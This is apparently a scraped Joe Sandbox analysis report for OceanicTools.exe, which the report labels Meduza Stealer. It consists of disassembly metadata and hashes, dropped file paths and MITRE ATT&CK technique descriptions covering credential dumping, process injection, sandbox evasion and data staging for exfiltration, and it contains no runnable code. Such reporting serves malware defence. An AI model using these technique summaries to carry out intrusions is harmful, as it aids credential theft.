Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: ae991bd237688d46af379bc9e2c88ae6c4cf7060aa663ad11618093b77570e75
Instruction ID: 4daac4ef0d780c032bb2ab06b76cdb0d2b580ba29c647ff6c4d51dd05e58c5e6
Opcode Fuzzy Hash: ae991bd237688d46af379bc9e2c88ae6c4cf7060aa663ad11618093b77570e75
Instruction Fuzzy Hash: 16F06252918E8982D2028F1CA4000FB7370FF8DB89F255335EF8D67265EF29E942A700

Function 00007FF6350EA4C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487
Argument domain error (DOMAIN), xrefs: 00007FF6350EA4C0

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 11d2b9735bd3709252506aa5ba5fa1e351431b4c673cdd365ea37068437d7b3c
Instruction ID: d0e1b20f05caa84975b84351005378e0ade9fae16e4b17e3433b12b355144952
Opcode Fuzzy Hash: 11d2b9735bd3709252506aa5ba5fa1e351431b4c673cdd365ea37068437d7b3c
Instruction Fuzzy Hash: 8AF06252918E8582D2029F1CA4000FB7370FF8EB89F255335EF8D77265EF2AD942A700

Function 00007FF6350EA4F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487
The result is too small to be represented (UNDERFLOW), xrefs: 00007FF6350EA4F0

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 62e2639ade3852005c6560a781b013c3a86ab195a2881249103c75c778e9902b
Instruction ID: 0d574d366aba5128fe26a29a123ac5f1614d210d4823be5b49a239da98442113
Opcode Fuzzy Hash: 62e2639ade3852005c6560a781b013c3a86ab195a2881249103c75c778e9902b
Instruction Fuzzy Hash: E6F04F52918E8582D2028F1CA4000EBB360FF8DB89F255325EF8D67265EF29D942A700

Function 00007FF6350EA4E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

Overflow range error (OVERFLOW), xrefs: 00007FF6350EA4E0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 011e2c0bcc3796c487ded507d96121c6e9820a89f73ee2ebf114777c49236ea0
Instruction ID: 0d34e7e3c9232db37bdaa489decd74e0beaac37a717f483876881a749b9992bd
Opcode Fuzzy Hash: 011e2c0bcc3796c487ded507d96121c6e9820a89f73ee2ebf114777c49236ea0
Instruction Fuzzy Hash: 27F06252918E8582D2029F1CA4000FB7370FF8EB89F255335EF8D67665EF2AD942A700

Function 00007FF6350EA500 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

Total loss of significance (TLOSS), xrefs: 00007FF6350EA500
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 22cc9ee71a5ffac9a6ca83f9a2c6e26604571fd27d9318c0ebbd99beaa658a45
Instruction ID: ee76b8413b5013d093ba3d724f5f8b622da797d5def218d4b3b7dc7ebd827f23
Opcode Fuzzy Hash: 22cc9ee71a5ffac9a6ca83f9a2c6e26604571fd27d9318c0ebbd99beaa658a45
Instruction Fuzzy Hash: 0EF04F52918E8582D2028F1CA4000EB7360FF8DB99F255325EF8D67665EF39D942A700

Function 00007FF6350EA458 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF6350EA4A0

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF6350EA487
Argument singularity (SIGN), xrefs: 00007FF6350EA458

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: a7c664df915d4e69880d0547989fba806fe34be971c47809b57ea1152bda214e
Instruction ID: 736bb71ec22ff7b2affe8186d8eb0269079e946199036324f5bd672eedce64a2
Opcode Fuzzy Hash: a7c664df915d4e69880d0547989fba806fe34be971c47809b57ea1152bda214e
Instruction Fuzzy Hash: A9F09652914E8582D202CF1CA4000EB7370FF4DB89F155325EF8C6B225DF39D5439700

Function 00007FF6350D1294 Relevance: 5.1, APIs: 4, Instructions: 80stringCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF6350D1312
strlen.MSVCRT ref: 00007FF6350D1334
malloc.MSVCRT ref: 00007FF6350D1340
memcpy.MSVCRT ref: 00007FF6350D1358

Memory Dump Source

Source File: 0000000E.00000002.2837030713.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000E.00000002.2836970516.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DD000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837110634.00007FF6351DF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837190969.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837339260.00007FF635370000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000E.00000002.2837399974.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 4ee85fb58601ac7611963cd66a25d646a980d7074b0776cdd030191079d3958a
Instruction ID: 4bad52106255d6bb17cca2b680e6280c49acf2145c1246fedb42c8a34c6f1f22
Opcode Fuzzy Hash: 4ee85fb58601ac7611963cd66a25d646a980d7074b0776cdd030191079d3958a
Instruction Fuzzy Hash: 86312626A2D78746FA149B55E4903B527E1AF41F80F488038CE0D87396DF3EAC55A740

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. Within MFT entries are file attributes, such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report OceanicTools.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Meduza Stealer

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2ydgkqm4.hvm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_esdjv2hf.usj.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ewsbthld.xe1.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k43eqanp.ixk.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ok5tzepb.rs5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pt45fufj.tj4.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rhmebzhd.nwh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tbogp5v5.2nq.psm1

C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe

C:\Users\user\foekseyrkkzyooxy\qflwedtkihuzyxlg.exe:a.dll

\Device\Null

Windows Analysis Report
OceanicTools.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre